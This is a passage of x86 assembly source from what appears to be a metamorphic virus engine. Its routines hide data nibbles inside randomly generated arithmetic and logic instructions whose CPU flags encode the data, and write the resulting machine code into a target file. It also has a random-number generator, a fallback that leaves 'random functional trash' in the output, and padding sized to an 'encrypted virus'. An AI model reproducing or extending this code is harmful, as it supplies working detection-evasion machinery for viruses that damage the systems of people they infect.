; ########################################################################### ; ########################################################################### ; ##### Nibble 3: PF SF (AF undefined) - (AND, XOR, TEST) GenerateNibble3: ; edi ... pointer in filecode ; bl & 0000'1111b ... nibble to generate call InformationToFlagByte ; bh=flag byte call GetRandomNumber mov ebp, dword[RandomNumber] and ebp, 0000'0011b push 0 GN3_AndXorTest_Loop: pop eax inc eax push eax cmp eax, 0x2A ja GN_PossibleInfinitLoop call GetRandomNumber mov eax, dword[RandomNumber] push eax call GetRandomNumber mov ecx, dword[RandomNumber] cmp ebp, 0 jne GN3_AndXorTest_NotAnd and eax, ecx jmp GN3_AndXorTest_LAHF GN3_AndXorTest_NotAnd: cmp ebp, 1 jne GN3_AndXorTest_NotXor xor eax, ecx jmp GN3_AndXorTest_LAHF GN3_AndXorTest_NotXor: test eax, ecx jmp GN3_AndXorTest_LAHF GN3_AndXorTest_LAHF: pop edx lahf and ah, byte[FlagMask] and bh, byte[FlagMask] cmp ah, bh jne GN3_AndXorTest_Loop pop eax ; remove counter call GetRandomNumber mov eax, dword[RandomNumber] and eax, 0000'0011b or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx) mov byte[edi], al and eax, 0000'0011b inc edi mov dword[edi], edx ; mov Reg1, NUMBER add edi, 4 and eax, 0000'0011b call GetRandomNumber mov esi, dword[RandomNumber] and esi, 0000'0001b je GN3_AndXorTest_Num ; and Reg1, Reg2 GN3_AndXorTest_TwoRegisters_Next: call GetRandomNumber mov ebx, dword[RandomNumber] and ebx, 0011b cmp ebx, eax je GN3_AndXorTest_TwoRegisters_Next ; Not the same registers! or bl, 0xB8 mov byte[edi], bl ; mov Reg2, ... inc edi mov dword[edi], ecx ; mov Reg2, NNNN add edi, 4 cmp ebp, 0 jne GN3_AndXorTest_2Regs_NoAnd mov byte[edi], 0x21 jmp GN3_AndXorTest_2Regs_cont1 GN3_AndXorTest_2Regs_NoAnd: cmp ebp, 1 jne GN3_AndXorTest_2Regs_NoXor mov byte[edi], 0x31 jmp GN3_AndXorTest_2Regs_cont1 GN3_AndXorTest_2Regs_NoXor: mov byte[edi], 0x85 jmp GN3_AndXorTest_2Regs_cont1 GN3_AndXorTest_2Regs_cont1: inc edi and bl, 0011b ; Reg2 shl bl, 3 ; bl=000??000 add bl, al ; bl=000??0?? add bl, 1100'0000b ; bl=110??0?? mov byte[edi], bl inc edi jmp GN3_AndXorTest_Fin GN3_AndXorTest_Num: push ebp and ebp, 0000'0010b pop ebp jz GN3_AndXorTest_Num_AndXor mov byte[edi], 0xF7 inc edi or al, 0xC0 mov byte[edi], al inc edi mov dword[edi], ecx add edi, 4 jmp GN3_AndXorTest_Fin GN3_AndXorTest_Num_AndXor: mov byte[edi], 0x81 inc edi cmp ebp, 0 jne GN3_AndXorTest_Num_NoAnd or al, 0xE0 jmp GN3_AndXorTest_Num_cont1 GN3_AndXorTest_Num_NoAnd: or al, 0xF0 ; jmp GN3_AndXorTest_Num_cont1 GN3_AndXorTest_Num_cont1: mov byte[edi], al inc edi mov dword[edi], ecx add edi, 4 GN3_AndXorTest_Fin: mov dword[VerifiedAddress], edi ret ; ##### Nibble 3: CF PF SF (AF undefined) - (AND, XOR, TEST) ; ########################################################################### ; ########################################################################### ; ##### Nibble 4: AF PF SF (DEC, INC) GenerateNibble4: ; edi ... pointer in filecode ; bl & 0000'1111b ... nibble to generate call InformationToFlagByte ; bh=flag byte call GetRandomNumber mov ebp, dword[RandomNumber] and ebp, 0000'0001b push 0 GN4_IncDec_Loop: pop eax inc eax push eax cmp eax, 0x2A ja GN_PossibleInfinitLoop call GetRandomNumber mov eax, dword[RandomNumber] push eax cmp ebp, 0 je GN4_IncDec_Loop_DEC inc eax lahf jmp GN4_IncDec_Loop_fin GN4_IncDec_Loop_DEC: dec eax lahf GN4_IncDec_Loop_fin: pop edx and ah, byte[FlagMask] and bh, byte[FlagMask] cmp ah, bh jne GN4_IncDec_Loop pop eax ; remove counter call GetRandomNumber mov eax, dword[RandomNumber] and al, 0000'0011b or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx) mov byte[edi], al inc edi mov dword[edi], edx add edi, 4 and al, 0000'0011b cmp ebp, 1 je GN4_IncDec_Loop_writeByteINC add al, 8 GN4_IncDec_Loop_writeByteINC: add al, 0x40 mov byte[edi], al inc edi mov dword[VerifiedAddress], edi ret ; ##### Nibble 4: AF PF SF (DEC, INC) ; ########################################################################### ; ########################################################################### ; ##### Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB) GenerateNibble5: ; edi ... pointer in filecode ; bl & 0000'1111b ... nibble to generate ; AF CF PF SF ; using ADD, SUB, CMP, NEG call GetRandomNumber mov ebp, dword[RandomNumber] and ebp, 0000'0011b cmp ebp, 0x0 je GN5_Neg GN8AddSubCmpNext: call GetRandomNumber mov ebp, dword[RandomNumber] and ebp, 0000'0011b ; ebp tells which instruction to use (1=add, 2=sub, 3=cmp) jz GN8AddSubCmpNext jmp GN5_AddSubCmp GN5_fin: mov dword[VerifiedAddress], edi ret GN5_Neg: call InformationToFlagByte ; bh=flag byte push 0 GN5_Neg_Loop: pop eax inc eax push eax cmp eax, 0x2A ja GN_PossibleInfinitLoop call GetRandomNumber mov eax, dword[RandomNumber] push eax neg eax lahf pop edx cmp ah, bh jne GN5_Neg_Loop pop eax call GetRandomNumber mov eax, dword[RandomNumber] and al, 0000'0011b or al, 0xB8 ; al=1011'10NN - NN...random (eax, ebx, ecx, edx) mov byte[edi], al inc edi mov dword[edi], edx add edi, 4 mov byte[edi], 0xF7 inc edi and al, 0000'0011b add al, 0xD8 mov byte[edi], al inc edi jmp GN5_fin GN5_AddSubCmp: call InformationToFlagByte ; bh=flag byte call GetRandomNumber push 0 ; loop counter GN5_AddSubCmp_Loop: pop edx inc edx push edx cmp edx, 0x2A ja GN_PossibleInfinitLoop mov edx, dword[RandomNumber] push edx call GetRandomNumber mov esi, dword[RandomNumber] cmp ebp, 1 je GN5_AddSubCmp_Loop_Sub cmp ebp, 2 je GN5_AddSubCmp_Loop_Cmp mov ecx, 0x01C0 add edx, esi jmp GN5_AddSubCmp_Loop_LAHF GN5_AddSubCmp_Loop_Sub: mov ecx, 0x29E8 sub edx, esi jmp GN5_AddSubCmp_Loop_LAHF GN5_AddSubCmp_Loop_Cmp: mov ecx, 0x39F8 cmp edx, esi GN5_AddSubCmp_Loop_LAHF: lahf pop edx and ah, byte[FlagMask] and bh, byte[FlagMask] cmp ah, bh jne GN5_AddSubCmp_Loop pop eax ; remove counter call GetRandomNumber mov eax, dword[RandomNumber] and eax, 0000'0011b ; create Register number push eax ; save Register number mov bl, al add bl, 0xB8 mov byte[edi], bl inc edi mov dword[edi], edx add edi, 4 ; mov Reg1, NNNN call GetRandomNumber mov eax, dword[RandomNumber] and eax, 1 jz GN5_AddSubCmp_TwoRegisters mov byte[edi], 0x81 inc edi mov dl, cl pop eax ; get Register number add dl, al ; use Register number mov byte[edi], dl ; add Reg, ... inc edi mov dword[edi], esi add edi, 4 jmp GN5_fin GN5_AddSubCmp_TwoRegisters: pop eax ; Register number and al, 0000'0011b GN5_AddSubCmp_TwoRegisters_Next: call GetRandomNumber mov ebx, dword[RandomNumber] and ebx, 0011b cmp ebx, eax je GN5_AddSubCmp_TwoRegisters_Next ; Not the same registers! or bl, 0xB8 mov byte[edi], bl ; mov Reg2, ... inc edi mov dword[edi], esi ; mov Reg2, NNNN add edi, 4 and bl, 0011b ; Reg2 shl bl, 3 ; bl=000??000 add bl, al ; bl=000??0?? or bl, 1100'0000b ; bl=110??0?? mov byte[edi], ch inc edi mov byte[edi], bl inc edi ; add Reg1, Reg2 jmp GN5_fin ; ##### Nibble 5: AF CF PF SF (ADD, CMD, NEG, SUB) ; ########################################################################### InformationToFlagByte: ; in: bl=0000'SAPC ; out: bh=S00A'0P1C push eax mov al, bl ; CF: mov bh, bl ; ah=0000'SAPC and bh, 0000'0001b ; ah=0000'000C ; PF: shl bl, 1 ; al=000S'APC0 or bh, bl ; ah=000S'APCC and bh, 0000'0101b ; ah=0000'0P0C ; AF: shl bl, 1 ; al=00SA'PC00 and bl, 0011'0000b ; al=00SA'0000 or bh, bl ; ah=00SA'0P0C and bh, 0001'0101b ; ah=000A'0P0C ; SF: shl bl, 2 ; al=SA00'0000 or bh, bl ; ah=SA0A'0P0C and bh, 1001'0101b ; ah=S00A'0P0C or bh, 0000'0010b ; ah=S00A'0P1C xchg al, bl pop eax ret GN_PossibleInfinitLoop: ; given Nibble could not be created with current methode ; therefore give up after 42+ trials and try with another one pop eax ; remove counter pop eax ; remove return-addresse mov edi, dword[VerifiedAddress] ; last correct addresse of file ; if there has already been some code written to the ; new file, it can be considered as random functional trash :) jmp CreateCodeForNibble ; ##### ; ##### Generate Nibbles ; ##### ; ########################################################################### GetRandomNumber: pushad xor edx, edx mov eax, dword[RandomNumber] ror eax, 16 mov ebx, 1103515245 mul ebx ; EDX:EAX = EDX:EAX * EBX add eax, 12345 rol eax, 16 mov dword[RandomNumber], eax popad ret CreateSpecialRndNumber: ; in: ebx, ecx ; out: edx=(rand()%ebx + ecx) call GetRandomNumber xor edx, edx mov eax, dword[RandomNumber] div ebx add edx, ecx ret WholeCodeEnd: times (175'269 + 7 * 1149 - (WholeCodeEnd-StartEngine)) db 0x0 ; 1st generation padding ; This is average size of encrypted virus + 7 * sigma - 1st gen. code ; 7*sigma ~ 99.999999999744 % of all cases ; (i took the average of 15files, as statistics is very high in one ; file, this is to a very good approx. gauss distributed) .end start